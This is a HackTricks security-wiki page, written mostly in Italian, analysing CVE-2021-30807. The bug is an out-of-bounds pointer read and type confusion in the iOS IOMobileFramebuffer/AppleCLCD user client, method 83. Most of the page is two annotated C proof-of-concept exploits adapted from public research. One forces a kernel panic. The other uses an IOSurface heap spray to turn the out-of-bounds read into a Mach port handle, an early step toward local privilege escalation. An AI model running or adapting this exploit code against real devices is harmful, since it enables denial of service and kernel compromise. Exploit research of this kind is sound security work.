hacktricks/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md

298 lines
13 KiB
Markdown

# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## La vulnerabilità
Hai una [ottima spiegazione della vulnerabilità qui](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), ma come riepilogo:
- Il percorso di codice vulnerabile è il **metodo esterno #83** del client utente **IOMobileFramebuffer / AppleCLCD**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Questo metodo riceve un parametro controllato dall'utente che non viene verificato in alcun modo e che viene passato alla funzione successiva come **`scalar0`**.
- Quel metodo inoltra a **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, dove **`scalar0`** (un valore **32-bit** controllato dall'utente) è usato come **indice** in un **array interno di puntatori** senza **alcun controllo dei limiti**:
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passato a `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` come **`IOSurface*`**.\
> **Risultato:** **OOB pointer read & type confusion** su quell'array. Se il puntatore non è valido, la dereferenziazione nel kernel provoca un panic → **DoS**.
> [!NOTE]
> Questo è stato corretto in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
> [!WARNING]
> La funzione iniziale per chiamare `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` è protetta dall'entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Tuttavia, **WebKit.WebContent** possiede questo entitlement, quindi può essere usato per innescare la vulnerabilità da un processo sandboxed.
## DoS PoC
Di seguito il PoC DoS iniziale dal post originale del blog con commenti aggiuntivi:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC spiegato
1. **Aprire il user client giusto**
- `get_appleclcd_uc()` trova il servizio **AppleCLCD** e apre **user client type 2**. AppleCLCD e IOMobileFramebuffer condividono la stessa external-methods table; type 2 espone **selector 83**, il metodo vulnerabile. **Questo è il punto d'ingresso per il bug.** E_POC/)
**Perché 83 è importante:** il percorso decompilato è:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
`IOMobileFramebufferUserClient::get_displayed_surface(...)`\
`IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Dentro quest'ultima chiamata, il codice **usa il tuo 32-bit scalar come indice di un array senza alcun controllo dei limiti**, recupera un puntatore da **`this + 0xA58 + index*8`**, e **lo passa come `IOSurface*`** a `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Questa è la OOB + type confusion.**
2. **The heap spray (perché IOSurface appare qui)**
- `do_spray()` usa **`IOSurfaceRootUserClient`** per **creare molte IOSurface** e **spray small values** (`s_set_value` style). Questo riempie gli heap kernel vicini con **puntatori a oggetti IOSurface validi**.
- **Obiettivo:** quando selector 83 legge oltre la tabella legittima, lo **slot OOB probabilmente contiene un puntatore a una delle tue (reali) IOSurface**---così il successivo dereference **non va in crash** e **riesce**. IOSurface è una primitive classica e ben documentata per il kernel spray, e il post di Saar elenca esplicitamente i metodi **create / set_value / lookup** usati per questo flusso di exploitation.
3. **Il trucco "offset/8" (cos'è davvero quell'indice)**
- In `trigger_oob(offset)`, imposti `scalars[0] = offset / 8`.
- **Perché dividere per 8?** Il kernel fa **`base + index*8`** per calcolare quale **slot di dimensione pointer** leggere. Stai scegliendo **"numero di slot N"**, non un offset in byte. **Otto byte per slot** su 64-bit.
- Quell'indirizzo calcolato è **`this + 0xA58 + index*8`**. Il PoC usa una costante grande (`0x1200000 + 0x1048`) semplicemente per andare **molto oltre i limiti** in una regione che hai cercato di **popolare densamente con puntatori IOSurface**. **Se lo spray "vince", lo slot che colpisci è un valido `IOSurface*`.**
4. **Cosa restituisce selector 83 (questa è la parte sottile)**
- The call is:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- Internamente, dopo che viene recuperato il puntatore OOB, il driver chiama\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
- **Risultato:** **`output_scalars[0]` è un Mach port name (u32 handle) nel tuo task** per *qualsiasi puntatore oggetto tu abbia fornito via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** Questo esatto comportamento (copia di un *port name*) è mostrato nella decompilazione di Saar.
**Perché è utile:** con un **port name** per la (supposta) IOSurface, puoi ora usare i **metodi IOSurfaceRoot** come:
- **`s_lookup_surface_from_port` (method 34)** → trasformare la porta in un **surface ID** su cui puoi operare tramite altre chiamate IOSurface, e
- **`s_create_port_from_surface` (method 35)** se hai bisogno dell'inverso.\
Saar segnala esattamente questi metodi come passo successivo. **Il PoC dimostra che puoi "costruire" un handle IOSurface legittimo da uno slot OOB.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
Questo [PoC è stato preso da qui](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) e sono stati aggiunti alcuni commenti per spiegare i passaggi:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## Riferimenti
- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}